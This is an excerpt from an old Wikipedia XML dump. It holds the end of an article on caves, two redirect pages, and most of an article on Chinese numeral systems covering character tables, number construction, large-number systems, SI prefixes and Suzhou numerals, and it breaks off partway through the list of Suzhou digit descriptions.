The deepest individual [[pitch (vertical space)|pitch]] (vertical drop) within a cave is 603m in the [[Vrtoglavica]] cave in [[Slovenia]], followed by [[Velebit caves|Patkov Gu&amp;#353;t]] (553m) in the [[Velebit]] mountain, [[Croatia]].

The largest individual cavern ever discovered is the [[Sarawak Chamber]], in the [http://www.forestry.sarawak.gov.my/forweb/np/np/mulu.htm Gunung Mulu National Park] ([[Sarawak]], [[Borneo]], [[Malaysia]]), a sloping, boulder strewn chamber with an area of approximately 600m by 400m and a height of 80m.

For a list of the world's notable caves, see [[list of caves]].

==Archaeological and social importance==
Throughout history, primitive peoples have made use of caves for shelter, burial, or as religious sites. Since items placed in caves are protected from the climate and scavanging animals, this means caves are an archaeological treasure house for learning about these people. [[Cave painting]]s are of particular interest. One example is the Great Cave of Niah, which contains evidence of human habitation dating back 40,000 years.

Caves are also important for geological research because they can reveal details of past climactic conditions in speleothems and [[sediment]] layers.

Caves are frequently used today as sites for recreation. [[Caving]], for example, is the popular [[sport]] of cave exploration. For the less adventurous, a number of the world's prettier and more accessible caves have been converted into [[show cave]]s, where artificial lighting, floors, and other aids allow the casual visitor to experience the cave with minimal inconvenience. Caves have also been used for [[BASE jumping]] and [[cave diving]]. 

== See also ==
{{Commons|Cave|Cave}}
* [[Mining]]
* [[Cavus]]
* [[Cave Research Foundation]]
* [[Grotto]]

==External links==
* [http://www.thingsasian.com/goto_article/article.1462.html About Gua Niah]
* [http://www.british-caving.org.uk/ British Caving Association (BCA)], UK
* [http://www.cavebooks.com CAVE BOOKS] Publisher and seller of books about caves.
* [http://www.caves.org/committee/conservation/Conservation NSS Conservation Division] Preserving and protecting caves and karst for cavers, scientific research, and the general public is one of the most important goals of the NSS. 
* [http://www.caves.org/section/ccms/ Cave Conservation and Management Section of the National Speleological Society] The Conservation and Management Section provides a central clearinghouse for information, expertise and research in the field of cave conservation and management.
* [http://www.geocities.com/cavingliz/MalaysianCaves.html Caves of Malaysia]
* [http://www.showcaves.com/english/explain/Speleology/Classification.html Classification of Caves] Very detailed list of cave types with links to further information
* [http://ogof.net/ Ogof Ffynnon Ddu] A virtual tour of [[Ogof Ffynnon Ddu]], the deepest cave in the UK
* [http://www.caves.org/pub/journal/ Journal of Cave and Karst Studies]
* [http://www.herbert-thiess.de/Kapsia/Index.html Kapsia Cave - Exploration of a Sinkhole in Arkadia (Southern Greece)]
* [http://www.caves.org/ National Speleological Society (NSS)], US
* [http://www.pipeline.com/~caverbob/ NSS Geo2 Committee on Long and Deep Caves] A website with numerous pages on cave world records, ''e.g.,'' the longest and deepest caves; compiled by Bob Gulden
* [http://www.uscaversforum.com U.S. CAVERS FORUM] Features multiple cave discussion boards (cavechat) pertaining to cave gear, cave trips, cave photography, cave information, cave news, cave conservation, the study of speleology and more!
* [http://www.goodearthgraphics.com/virtcave.html The Virtual Cave] A site with exceptional photography by Dave Bunnell, the editor of the NSS News. Make a virtual caving trip!
* [http://www.geo.unizh.ch/~heller/Diatoporama/Gallery/Lechuguilla/index.html 3D maps of Lechuguilla Cave]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Caves| ]]
[[Category:Subterranea]]
[[Category:Landforms]]

[[bg:Пещера]]
[[cs:Jeskyně]]
[[cy:Ogof]]
[[da:Grotte]]
[[de:Höhle]]
[[es:Cueva]]
[[eo:Kaverno]]
[[fa:غار]]
[[fr:Grotte]]
[[he:מערה]]
[[it:Grotta]]
[[id:Gua]]
[[hu:Barlang]]
[[ms:Gua]]
[[nl:Grot]]
[[ja:洞窟]]
[[pl:Jaskinia]]
[[pt:Caverna]]
[[ru:Пещера]]
[[sk:Jaskyňa]]
[[sv:Grotta]]</text>
    </revision>
  </page>
  <page>
    <title>List of Chinese proverbs</title>
    <id>5779</id>
    <revision>
      <id>15903973</id>
      <timestamp>2004-12-24T14:28:03Z</timestamp>
      <contributor>
        <username>BrokenSegue</username>
        <id>101451</id>
      </contributor>
      <comment>made a redirect</comment>
      <text xml:space="preserve">#Redirect [[Wikiquote:Chinese proverbs]].</text>
    </revision>
  </page>
  <page>
    <title>Chaco Canyon</title>
    <id>5780</id>
    <revision>
      <id>15903974</id>
      <timestamp>2004-08-24T06:18:08Z</timestamp>
      <contributor>
        <username>TimShell</username>
        <id>4938</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Chaco Culture National Historical Park]]</text>
    </revision>
  </page>
  <page>
    <title>Chinese numerals</title>
    <id>5781</id>
    <revision>
      <id>41754843</id>
      <timestamp>2006-03-01T14:37:52Z</timestamp>
      <contributor>
        <username>Noe</username>
        <id>57569</id>
      </contributor>
      <comment>cat.</comment>
      <text xml:space="preserve">{{Numeral systems}}
Today, speakers of [[Chinese language|Chinese]] use three [[numeral system]]s: the ubiquitous system of [[Hindu-Arabic numeral system|Hindu-Arabic numerals]], along with two ancient Chinese numeral systems. The ''huama'' ({{zh-d-cp|c=花碼|p=huāmǎ}}, lit. &quot;flowery or fancy numbers&quot;) system has gradually been supplanted by the Arabic system in writing numbers.  The character system is still used and roughly analogous to writing out a number in text. The Chinese can be classified as part of the language but is still counts as a number system. Most people in China now use the hindu-arabic system.

The ''huama'' system, the only surviving variation of the [[rod numerals|rod numeral]] system, is nowadays in use only in Chinese markets (e.g. in [[Hong Kong]]). The character writing system is still in use when writing numbers in long form such as on cheques, as their complexity thwarts forgery.

Individual [[Chinese characters]] in this article link to their dictionary entries.

==Written numbers==
The Chinese character numeral system consists of the [[Chinese character]]s used by the [[Chinese written language]] to write spoken numerals. Similarly to spelled-out numbers in English (e.g., &quot;one thousand nine hundred forty-five&quot;), it is not an independent system per se. And since it reflects spoken language, it does not use the positional system as is done in [[Hindu-Arabic numerals]], in the same way that spelling out numbers in English does not.

===Numeral characters===
There are ten characters representing the numbers zero through nine, and other characters representing larger numbers such as tens, hundreds, thousands and so on. There are two sets of characters for Chinese numerals: one for everyday writing and one for use in commercial or financial contexts known as '''''dàxiě''''' (大写 in simplified Chinese, 大寫 in traditional Chinese). The latter arose because the characters used for writing numerals are geometrically simple, so simply using those numerals cannot prevent forgeries in the same way spelling numbers out in English would.

'''S''' denotes Simplified, '''T''' denotes Traditional.

{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
!align=center width=60|[[Pinyin]]
!align=center width=60|Financial
!align=center width=60|Normal
!align=center width=60|Value
!align=center|Notes
|-
|líng||align=center|[[Wiktionary:零|零]]||align=center|零 or [[Wiktionary:〇|〇]]||[[0 (number)|0]]
|casual form is a circle
|-
|yī||align=center|[[Wiktionary:壹|壹]]||align=center|[[Wiktionary:一|一]]||[[1 (number)|1]]
|also &amp;#24332; (obsolete)&lt;br&gt;also &amp;#20040; (y&amp;#257;o) when used in phone numbers etc., see footnote 1
|-
|èr||align=center|[[Wiktionary:貳|貳]] (T) or 贰 (S)||align=center|[[Wiktionary:二|二]]||[[2 (number)|2]]
|also &amp;#24333; (obsolete)&lt;br&gt;&amp;#20004; (S), &amp;#20841; (T) (liǎng) is used when placed before a [[Chinese measure word|measure word]]
|-
|sān||align=center|[[Wiktionary:叄|叄]] (T) or 叁 (S)||align=center|[[Wiktionary:三|三]]||[[3 (number)|3]]
|&amp;#24334; (obsolete)&lt;br&gt;&amp;#21443; is also acceptable.
|-
|sì||align=center|[[Wiktionary:肆|肆]]||align=center|[[Wiktionary:四|四]]||[[4 (number)|4]]
|&amp;nbsp;
|-
|wǔ||align=center|[[Wiktionary:伍|伍]]||align=center|[[Wiktionary:五|五]]||[[5 (number)|5]]
|&amp;nbsp;
|-
|liù||align=center|[[Wiktionary:陸|陸]]||align=center|[[Wiktionary:六|六]]||[[6 (number)|6]]
|&amp;nbsp;
|-
|qī||align=center|[[Wiktionary:柒|柒]]||align=center|[[Wiktionary:七|七]]||[[7 (number)|7]]
|&amp;nbsp;
|-
|bā||align=center|[[Wiktionary:捌|捌]]||align=center|[[Wiktionary:八|八]]||[[8 (number)|8]]
|&amp;nbsp;
|-
|jiǔ||align=center|[[Wiktionary:玖|玖]]||align=center|[[Wiktionary:九|九]]||[[9 (number)|9]]
|&amp;nbsp;
|-
|colspan=5|&amp;nbsp;
|-
|shí||align=center|[[Wiktionary:拾|拾]]||align=center|[[Wiktionary:十|十]]||[[10 (number)|10]]
|&amp;nbsp;
|-
|niàn||align=center|貳拾||align=center|廿||[[20 (number)|20]]
|also &amp;#21316;&lt;br&gt;used mostly on calendars; otherwise &amp;#20108;&amp;#21313; is used. Pronounced as ''ya'' in Cantonese.&lt;br&gt;see [[#constructing numbers|constructing numbers]] below
|-
|sà||align=center|叄拾||align=center|卅||[[30 (number)|30]]
|used mostly on calendars (三十 is used)
|-
|xì||align=center|肆拾||align=center|卌||[[40 (number)|40]]
|rarely used (四十 is used)
|-
|bǎi||align=center|佰||align=center|&amp;#30334;||[[100 (number)|100]]
|&amp;nbsp;
|-
|qiān||align=center|仟||align=center|千||[[1000 (number)|1,000]]
|&amp;nbsp;
|-
|wàn||align=center|萬||align=center|&amp;#19975; (S)&lt;br&gt;&amp;#33836; (T)||[[10000 (number)|10&lt;sup&gt;4&lt;/sup&gt;]]
|Chinese numbers group by ten-thousands&lt;br&gt;see [[#constructing numbers|constructing numbers]] below
|-
|colspan=5|&amp;nbsp;
|-
|yì||align=center|億||align=center|&amp;#20159; (S)&lt;br&gt;&amp;#20740; (T)||[[1_E8|10&lt;sup&gt;8&lt;/sup&gt;]]
|also means [[1_E5|10&lt;sup&gt;5&lt;/sup&gt;]] in some ancient contexts.&lt;br/&gt;see [[#large number systems|large number systems]] below
|-
|zhào||align=center|兆||&amp;nbsp;||[[1_E12|10&lt;sup&gt;12&lt;/sup&gt;]]
|also means [[1_E6|10&lt;sup&gt;6&lt;/sup&gt;]] or 10&lt;sup&gt;16&lt;/sup&gt; in some ancient contexts
also means [[mega]]
|-
|jīng||align=center|京&lt;br/&gt;(or  經)||&amp;nbsp;||10&lt;sup&gt;16&lt;/sup&gt;
|(Ancient Chinese) Also: [[1_E7|10&lt;sup&gt;7&lt;/sup&gt;]], 10&lt;sup&gt;24&lt;/sup&gt;, 10&lt;sup&gt;32&lt;/sup&gt;.
|-
|gāi||align=center|垓||&amp;nbsp;||10&lt;sup&gt;20&lt;/sup&gt;
|(Ancient Chinese) Also: [[1_E8|10&lt;sup&gt;8&lt;/sup&gt;]], 10&lt;sup&gt;32&lt;/sup&gt;, 10&lt;sup&gt;64&lt;/sup&gt;.
|-
|zǐ||align=center|秭||&amp;nbsp;||[[1_E24|10&lt;sup&gt;24&lt;/sup&gt;]]
|(Ancient Chinese) Also: [[1_E9|10&lt;sup&gt;9&lt;/sup&gt;]], 10&lt;sup&gt;40&lt;/sup&gt;, 10&lt;sup&gt;128&lt;/sup&gt;.
|-
|ráng||align=center|穰||&amp;nbsp;||10&lt;sup&gt;28&lt;/sup&gt;
|(Ancient Chinese) Also: 10&lt;sup&gt;10&lt;/sup&gt;, 10&lt;sup&gt;48&lt;/sup&gt;, 10&lt;sup&gt;256&lt;/sup&gt;.
|-
|gōu||align=center|溝||&amp;nbsp;||10&lt;sup&gt;32&lt;/sup&gt;
|(Ancient Chinese) Also: 10&lt;sup&gt;11&lt;/sup&gt;, 10&lt;sup&gt;56&lt;/sup&gt;, 10&lt;sup&gt;512&lt;/sup&gt;.
|-
|jiàn||align=center|澗||&amp;nbsp;||10&lt;sup&gt;36&lt;/sup&gt;
|(Ancient Chinese) Also: [[1_E12|10&lt;sup&gt;12&lt;/sup&gt;]], 10&lt;sup&gt;64&lt;/sup&gt;, 10&lt;sup&gt;1024&lt;/sup&gt;.
|-
|zhèng||align=center|正||&amp;nbsp;||10&lt;sup&gt;40&lt;/sup&gt;
|(Ancient Chinese) Also: 10&lt;sup&gt;13&lt;/sup&gt;, 10&lt;sup&gt;72&lt;/sup&gt;, 10&lt;sup&gt;2048&lt;/sup&gt;.
|-
|zài||align=center|載||&amp;nbsp;||10&lt;sup&gt;44&lt;/sup&gt;
|(Ancient Chinese) Also: 10&lt;sup&gt;14&lt;/sup&gt;, 10&lt;sup&gt;80&lt;/sup&gt;, 10&lt;sup&gt;4096&lt;/sup&gt;.
|-
|jí||align=center|極||&amp;nbsp;||10&lt;sup&gt;48&lt;/sup&gt;
|(Ancient Chinese) Also: 10&lt;sup&gt;15&lt;/sup&gt;, 10&lt;sup&gt;88&lt;/sup&gt;, 10&lt;sup&gt;8192&lt;/sup&gt;.
|-
|colspan=5|&amp;nbsp;
|-
|fēn||align=center|分||&amp;nbsp;||[[Tenth|1/10]]
|also means [[deci]] as a prefix, see [[#SI prefixes|SI prefixes]] below
|-
|lí||align=center|釐||align=center|&amp;#21400;||[[hundredth|1/100]]
|also means [[centi]]
|-
|háo||align=center|毫||&amp;nbsp;||1/1,000
|also means [[milli]]
|-
|sī||align=center|絲||&amp;nbsp;||10&lt;sup&gt;-4&lt;/sup&gt;
|(Ancient Chinese)
|-
|hū||align=center|忽||&amp;nbsp;||10&lt;sup&gt;-5&lt;/sup&gt;
|(Ancient Chinese)
|-
|wēi||align=center|微||&amp;nbsp;||10&lt;sup&gt;-6&lt;/sup&gt;
|also means [[micro]] as a prefix, see [[#SI prefixes|SI prefixes]] below
|-
|xiān||align=center|纖||&amp;nbsp;||10&lt;sup&gt;-7&lt;/sup&gt;
|(Ancient Chinese)
|-
|shā||align=center|沙||&amp;nbsp;||10&lt;sup&gt;-8&lt;/sup&gt;
|(Ancient Chinese)
|-
|chén||align=center|塵||&amp;nbsp;||10&lt;sup&gt;-9&lt;/sup&gt;
|(Ancient Chinese) In SI units it is called &amp;#32013; nà
|-
|āi||align=center|埃||&amp;nbsp;||10&lt;sup&gt;-10&lt;/sup&gt;
|(Ancient Chinese)
|-
|miǎo||align=center|渺||&amp;nbsp;||10&lt;sup&gt;-11&lt;/sup&gt;
|(Ancient Chinese)
|-
|mò||align=center|漠||&amp;nbsp;||10&lt;sup&gt;-12&lt;/sup&gt;
|(Ancient Chinese)
|}

幺; (yāo), &quot;the smallest&quot;, is used widely in [[mainland China]] as a replacement for yī in series of digits such as phone numbers, room numbers, et cetera, to prevent confusion between similar sounding words.  It is never used in counting, nor is it used in [[Taiwan]] (except for [[soldier]]s in the [[ROC military]], the [[police]] force, and the emergency telephone number 119 for calling a [[fire department]] or requesting an [[ambulance]]) or [[Hong Kong]] and [[Macau]] (except when communicating in [[Standard Mandarin]]).

===Constructing numbers===
Multiple-digit numbers are constructed using a multiplicative principle; first the digit itself (from 1 to 9), then the place (such as 10 or 100); then the next digit.  

In Mandarin, the multiplier 兩 (liǎng) is used rather than 二 (èr) for all numbers greater than 200 with the &quot;2&quot; numeral. Use of both 兩 (liǎng) or 二 (èr) are acceptable for the number 200. When writing in the Cantonese dialect, 二 (yi&lt;sup&gt;6&lt;/sup&gt;) is used to represent the &quot;2&quot; numeral for all numbers.  In the southern Min dialect of Chaozhou (Teochew), 兩 (no&lt;sup&gt;6&lt;/sup&gt;) is used to represent the &quot;2&quot; numeral in all numbers.  Thus:
{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
! rowspan=2 | Number || rowspan=2 | Structure || colspan=4 | Characters
|- bgcolor=eeeeee
! Mandarin || Cantonese || [[Chaozhou dialect|Chaozhou]] || [[Shanghainese]]
|-
| 60 || [6] [10] || &amp;#20845;&amp;#21313; || &amp;#20845;&amp;#21313; || &amp;#20845;&amp;#21313; || 六十
|-
| 20 || [2] [10] or [20] || 二十 || 二十 or 廿 || 二十 || 廿  
|-
| 200 || [2] (èr) or (li&amp;#462;ng) [100] || &amp;#20108;&amp;#30334; or &amp;#20841;&amp;#30334; || &amp;#20108;&amp;#30334; || &amp;#20841;&amp;#30334; || 兩百
|-
| 2000 || [2] (li&amp;#462;ng) [1000] || &amp;#20841;&amp;#21315; || &amp;#20108;&amp;#21315; || &amp;#20841;&amp;#21315; || 兩千
|-
| 45 || [4] [10] [5] || &amp;#22235;&amp;#21313;&amp;#20116; || &amp;#22235;&amp;#21313;&amp;#20116; || &amp;#22235;&amp;#21313;&amp;#20116; || 四十五
|-
| 2,362 || [2] [1,000] [3] [100] [6] [10] [2] || &amp;#20841;&amp;#21315;&amp;#19977;&amp;#30334;&amp;#20845;&amp;#21313;&amp;#20108; || &amp;#20108;&amp;#21315;&amp;#19977;&amp;#30334;&amp;#20845;&amp;#21313;&amp;#20108; || &amp;#20841;&amp;#21315;&amp;#19977;&amp;#30334;&amp;#20845;&amp;#21313;&amp;#20108; || 兩千三百六十二
|}

For the numbers 11 through 19, the leading &quot;one&quot; (&amp;#19968;) is usually omitted.  In some dialects, like [[Shanghainese]], when there are only two significant digits in the number, the leading &quot;one&quot; and the trailing zeroes are omitted.  Sometimes, the one before &quot;ten&quot; in the middle of a number, such as 213, is omitted.  Thus:

{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
! rowspan=2 | Number || colspan=2 | Strict Putonghua || colspan=2 | Colloquial or dialect usage
|- bgcolor=eeeeee
! Structure || Characters || Structure || Characters
|-
| 14 || [10] [4] || &amp;#21313;&amp;#22235; || &amp;nbsp; || &amp;nbsp;
|-
| 12000 || [1] [10000] [2] [1000] || &amp;#19968;&amp;#33836;&amp;#20108;&amp;#21315; || [1] [10000] [2] or&lt;br&gt;[10000] [2] || &amp;#19968;&amp;#33836;&amp;#20108; or&lt;br&gt;&amp;#33836;&amp;#20108;
|-
| 114 || [1] [100] [1] [10] [4] || &amp;#19968;&amp;#30334;&amp;#19968;&amp;#21313;&amp;#22235; || [1] [100] [10] [4] || &amp;#19968;&amp;#30334;&amp;#21313;&amp;#22235;
|-
| 1158 || [1] [1000] [1] [100] [5] [10] [8]|| &amp;#19968;&amp;#21315;&amp;#19968;&amp;#30334;&amp;#20116;&amp;#21313;&amp;#20843; || colspan=2 | (nothing is ever omitted in large numbers such as this)
|}
In certain older texts like the [[Protestant]] [[Bible]] or in poetic usage, numbers such as 114 may be ''written'' as [100] [10] [4] (&amp;#30334;&amp;#21313;&amp;#22235;).

For numbers larger than a [[myriad]], the same grouping system used in English applies, except in groups of four places (myriads) rather than in groups of three (thousands).  Hence it is more convenient to think of numbers here as in groups of four, thus 1,234,567,890 is regrouped here as 12,3456,7890.  Larger than a myriad, each number is therefore four zeroes longer than the one before it, thus 10000 &amp;times; wàn (&amp;#33836;) = yì (&amp;#20740;), 10000 &amp;times; yì (&amp;#20740;) = zhào (&amp;#20806;).  If one of the numbers is between 10 and 19, the leading &quot;one&quot; is omitted as per the above point.  Hence (numbers in parentheses indicate that the number has been written as one number rather than expanded):
{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
! Number || Structure || Characters
|-
| 12,345,678,902,345&lt;br&gt;(12,3456,7890,2345) || (12) [1,0000,0000,0000] (3456) [1,0000,0000] (7890) [1,0000] (2345) || 十二兆三千四百五十六億七千八百九十萬兩千三百四十五
|}

Interior zeroes before the unit position (as in 1002) must be spelt explicitly.  The reason for this is that trailing zeroes (as in 1200) are often omitted as shorthand, so ambiguity occurs.  One zero is sufficient to resolve the ambiguity.  Where the zero is before a digit other than the units digit, the explicit zero is not ambiguous and is therefore optional, but preferred.  Thus:
{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
! Number || Structure || Characters
|-
| 205 || [2] [100] [0] [5] || &amp;#20108;&amp;#30334;&amp;#12295;&amp;#20116;
|-
| 100,004&lt;br&gt;(10,0004) || [10] [1,0000] [0] [4] || &amp;#21313;&amp;#33836;&amp;#12295;&amp;#22235;
|-
| 10,050,026&lt;br&gt;(1005,0026) || (1005) [1,0000] (26) or&lt;br&gt;(1005) [1,0000] (026)|| &amp;#19968;&amp;#21315;&amp;#12295;&amp;#20116;&amp;#33836;&amp;#12295;&amp;#20108;&amp;#21313;&amp;#20845; or&lt;br&gt;&amp;#19968;&amp;#21315;&amp;#12295;&amp;#20116;&amp;#33836;&amp;#20108;&amp;#21313;&amp;#20845;
|}

===Large number systems===
For numeral characters greater than [[Wiktionary:&amp;#33836;|&amp;#33836;]] (wàn), there have been four systems in ancient and modern usage:
{| border=1 cellspacing=0 cellpadding=1
|- bgcolor=eeeeee
! width=60 |System
| width=40 |[[Wiktionary:億|億]]&lt;br/&gt;(yì)
| width=40 |[[Wiktionary:兆|兆]]&lt;br/&gt;(zhào)
| width=40 |[[Wiktionary:京|京]]&lt;br/&gt;(jīng)
| width=40 |[[Wiktionary:垓|垓]]&lt;br/&gt;(gāi)
| width=40 |[[Wiktionary:秭|秭]]&lt;br/&gt;(zǐ)
| width=40 |[[Wiktionary:穰|穰]]&lt;br/&gt;(ráng)
|Factor of increase
|-
!align=center|1
|10&lt;sup&gt;5&lt;/sup&gt;
|10&lt;sup&gt;6&lt;/sup&gt;
|10&lt;sup&gt;7&lt;/sup&gt;
|10&lt;sup&gt;8&lt;/sup&gt;
|10&lt;sup&gt;9&lt;/sup&gt;
|10&lt;sup&gt;10&lt;/sup&gt;
|Each numeral is 10 (十 shí) times the previous.
|-
!align=center|2
|10&lt;sup&gt;8&lt;/sup&gt;
|10&lt;sup&gt;12&lt;/sup&gt;
|10&lt;sup&gt;16&lt;/sup&gt;
|10&lt;sup&gt;20&lt;/sup&gt;
|10&lt;sup&gt;24&lt;/sup&gt;
|10&lt;sup&gt;28&lt;/sup&gt;
|Each numeral is 10,000 (萬 wàn) times the previous.
|-
!align=center|3
|10&lt;sup&gt;8&lt;/sup&gt;
|10&lt;sup&gt;16&lt;/sup&gt;
|10&lt;sup&gt;24&lt;/sup&gt;
|10&lt;sup&gt;32&lt;/sup&gt;
|10&lt;sup&gt;40&lt;/sup&gt;
|10&lt;sup&gt;48&lt;/sup&gt;
|Each numeral is 10&lt;sup&gt;8&lt;/sup&gt; (萬萬 wànwàn) times the previous.
|-
!align=center|4
|10&lt;sup&gt;8&lt;/sup&gt;
|10&lt;sup&gt;16&lt;/sup&gt;
|10&lt;sup&gt;32&lt;/sup&gt;
|10&lt;sup&gt;64&lt;/sup&gt;
|10&lt;sup&gt;128&lt;/sup&gt;
|10&lt;sup&gt;256&lt;/sup&gt;
|Each numeral is the [[square (algebra)|square]] of the previous.
|}
In modern Chinese, only the second system is used in expressing numbers. Although there is some dispute on the value of 兆 (zhào), the usage is generally consistent through Chinese communities, as well as in [[Japanese numerals|Japan]]. However, most people do not recognize numerals beyond 兆 (zhào) (10&lt;sup&gt;12&lt;/sup&gt;) and dictionary definitions on these larger number words may not be consistent.

===SI prefixes===
The definition of [[Wiktionary:&amp;#20806;|&amp;#20806;]] (zhào) = 10&lt;sup&gt;6&lt;/sup&gt; survived in a translation for the [[SI prefix]] [[mega]], since there would otherwise have been no single Chinese numeral for that particular value. The translation has caused much confusion.

Further complicating the matter, an early attempt to translate SI prefixes used larger, rarer numerals for larger multiples, such as &amp;#20140; (j&amp;#299;ng) for [[giga]], and rarer fractional numerals for smaller fractions, such as &amp;#32406; (xi&amp;#257;n) for [[nano]], creating even more values for each numeral.

Today, both the governments of the [[People's Republic of China]] (Mainland China, Hong Kong and Macau) and [[Republic of China]] (Taiwan) have adopted standards that use phonetic transliterations for the prefixes. However, there are differences in the choices of characters, and the definition of &amp;#20806; (zhào) is different between the two standards. The following table lists the two different systems together with the early translation.

{| border=1 cellspacing=0 cellpadding=1
|+ '''SI Prefixes'''
|- bgcolor=eeeeee
! Value || Symbol || English
! Early translation || PRC standard || ROC standard
|-
|10&lt;sup&gt;24&lt;/sup&gt;||Y||[[yotta]]
|&amp;nbsp;||&amp;#23591; yáo||&amp;#20305; yòu
|-
|10&lt;sup&gt;21&lt;/sup&gt;||Z||[[zetta]]
|&amp;nbsp;||&amp;#27901; zé||&amp;#30342; ji&amp;#275;
|-
|10&lt;sup&gt;18&lt;/sup&gt;||E||[[exa]]
|&amp;#31344; ráng||&amp;#33406; ài||&amp;#33406; ài
|-
|10&lt;sup&gt;15&lt;/sup&gt;||P||[[peta]]
|&amp;#31213; z&amp;#464;||&amp;#25293; p&amp;#257;i||&amp;#25293; p&amp;#257;i
|-
|10&lt;sup&gt;12&lt;/sup&gt;||T||[[tera]]
|&amp;#22419; g&amp;#257;i||&amp;#22826; tài||&amp;#20806; zhào
|-
|10&lt;sup&gt;9&lt;/sup&gt;||G||[[giga]]
|&amp;#20140; j&amp;#299;ng||&amp;#21513; jí||&amp;#21513; jí
|-
|10&lt;sup&gt;6&lt;/sup&gt;||M||[[mega]]
|&amp;#20806; zhào||&amp;#20806; zhào||&amp;#30334;&amp;#33836; b&amp;#462;iwàn
|-
|10&lt;sup&gt;3&lt;/sup&gt;||k||[[kilo]]
|&amp;#21315; qi&amp;#257;n||&amp;#21315; qi&amp;#257;n||&amp;#21315; qi&amp;#257;n
|-
|10&lt;sup&gt;2&lt;/sup&gt;||h||[[hecta]]
|&amp;#30334; b&amp;#462;i||&amp;#30334; b&amp;#462;i||&amp;#30334; b&amp;#462;i
|-
|10&lt;sup&gt;1&lt;/sup&gt;||da||[[deca]]
|&amp;#21313; shí||&amp;#21313; shí||&amp;#21313; shí
|-
|10&lt;sup&gt;-1&lt;/sup&gt;||d||[[deci]]
|&amp;#20998; f&amp;#275;n||&amp;#20998; f&amp;#275;n||&amp;#20998; f&amp;#275;n
|-
|10&lt;sup&gt;-2&lt;/sup&gt;||c||[[centi]]
|&amp;#21400; lí||&amp;#21400; lí||&amp;#21400; lí
|-
|10&lt;sup&gt;-3&lt;/sup&gt;||m||[[milli]]
|&amp;#27627; háo||&amp;#27627; háo||&amp;#27627; háo
|-
|10&lt;sup&gt;-6&lt;/sup&gt;||&amp;micro;||[[micro]]
|&amp;#24494; w&amp;#275;i||&amp;#24494; w&amp;#275;i||&amp;#24494; w&amp;#275;i
|-
|10&lt;sup&gt;-9&lt;/sup&gt;||n||[[nano]]
|&amp;#32406; xi&amp;#257;n||&amp;#32435; nà||&amp;#22856; nài
|-
|10&lt;sup&gt;-12&lt;/sup&gt;||p||[[pico]]
|&amp;#27801; sh&amp;#257;||&amp;#30382; pí||&amp;#30382; pí
|-
|10&lt;sup&gt;-15&lt;/sup&gt;||f||[[femto]]
|&amp;#22645; chén||&amp;#39134; f&amp;#275;i||&amp;#39131; f&amp;#275;i
|-
|10&lt;sup&gt;-18&lt;/sup&gt;||a||[[atto]]
|&amp;#28218; mi&amp;#462;o||&amp;#38463; à||&amp;#38463; à
|-
|10&lt;sup&gt;-21&lt;/sup&gt;||z||[[zepto]]
|&amp;nbsp;||&amp;#20164; zè||&amp;#20171; jiè
|-
|10&lt;sup&gt;-24&lt;/sup&gt;||y||[[yocto]]
|&amp;nbsp;||&amp;#24186; y&amp;#257;o||&amp;#25912; y&amp;#333;u
|}

==Suzhou (蘇州) or ''huāmǎ'' (花碼) numerals==
Just like Ancient Englishman used the Roman numerals for doing mathematics or commerce, Ancient Chinese used the [[rod numerals]] which is a positional system. The ''huāmǎ'' system is a variation of the rod numeral system. Rod numerals are closely related to the [[counting rods]] and the [[Chinese abacus|abacus]], which is why the numeric symbols for 1, 2, 3, 6, 7 and 8 in the ''huāmǎ'' system are represented in a similar way as on the abacus.

Nowadays, the ''huāmǎ'' system is only used for displaying prices in Chinese markets or on traditional handwritten invoices. According to the [[Unicode]] standard version 3.0, these characters are called [[Hangzhou]] style numerals. This indicates that it is not used only by Cantonese in Hong Kong. In the Unicode standard 4.0, an erratum was added which stated:

:The [[Suzhou]] numerals (Chinese su1 zhou1 ma3 zi) are special numeric forms used by traders to display the prices of goods. The use of &quot;HANGZHOU&quot; in the names is a misnomer.

The misnomer remains in the Unicode standard.

In the ''huāmǎ'' system, special symbols are used for digits instead of the Chinese characters.
The digits are positional.
When written horizontally, the numerical value is written in two rows. For example:

{|
| &amp;nbsp;&amp;nbsp;&amp;nbsp; ||align=center| 〤〇〢二&lt;br&gt;拾元
|}

The top row contains the numeric symbols, for example, 〤〇〢二 stands for 4022. 
The bottom row consists of one or more Chinese characters that represents the unit of the first digit in the first row. The first part in the bottom row indicates the order of the first digit in the top row, e.g. qian1 ([[Wiktionary:千|千]]) for thousand, bái ([[Wiktionary:百|百]]) for hundred, shí ([[Wiktionary:拾|拾]]) for ten, blank for one etc. 
The second part denotes the unit of measurement, such as yuán ([[Wiktionary:元|元]] for dollar) or máo ([[Wiktionary:毫|毫]] or [[Wiktionary:毛|毛]] for 10 cents) or xiān ([[Wiktionary:仙|仙]] for 1 cent) or lǐ ([[Wiktionary:里|里]] for the Chinese mile) or any other measurement unit. 
If the characters ''shí yuán'' ([[Wiktionary:拾|拾]][[Wiktionary:元|元]], &quot;10 dollars&quot;) are below the digits 〤〇〢二, it is then read as forty dollars and twenty two cents.
Notice that the decimal point is implicit when the first digit '4' is set at the 'ten' position.
This is very similar to the modern [[scientific notation]] for [[floating point]] numbers where the significant digits are represented in the mantissa and the order of magnitude is specified in the exponent.

When written vertically, the above example is written thus:

{|
|align=center| &amp;nbsp;&amp;nbsp;&amp;nbsp; ||align=center| 〤&lt;br&gt;〇&lt;br&gt;〢&lt;br&gt;二&lt;br&gt;拾&lt;br&gt;元
|}

The digits of the Suzhou numerals are defined between U+3021 and U+3029 in [[Unicode]]. 

Zero is represented by a circle, probably the numeral '0', letter 'O' or character [[Wiktionary:〇|〇]] may work well.
Leading and trailing zeros are unnecessary in this system.
Additional characters representing 10, 20, 30 and 40 exist: [[Wiktionary:十|十]], [[Wiktionary:卄|卄]], [[Wiktionary:卅|卅]], [[Wiktionary:卌|卌]].

For those who cannot see the Unicode glyphs in the web browser, here are the descriptions of the appearance of these digits:
* 0 is a circle ([[Wiktionary:〇|〇]])
* 1 is one horizontal ([[Wiktionary:一|一]]) or vertical ([[Wiktionary:〡|〡]]) stroke 
* 2 is two horizontal ([[Wiktionary:二|二]]) or vertical ([[Wiktionary:〢|〢]]) strokes 
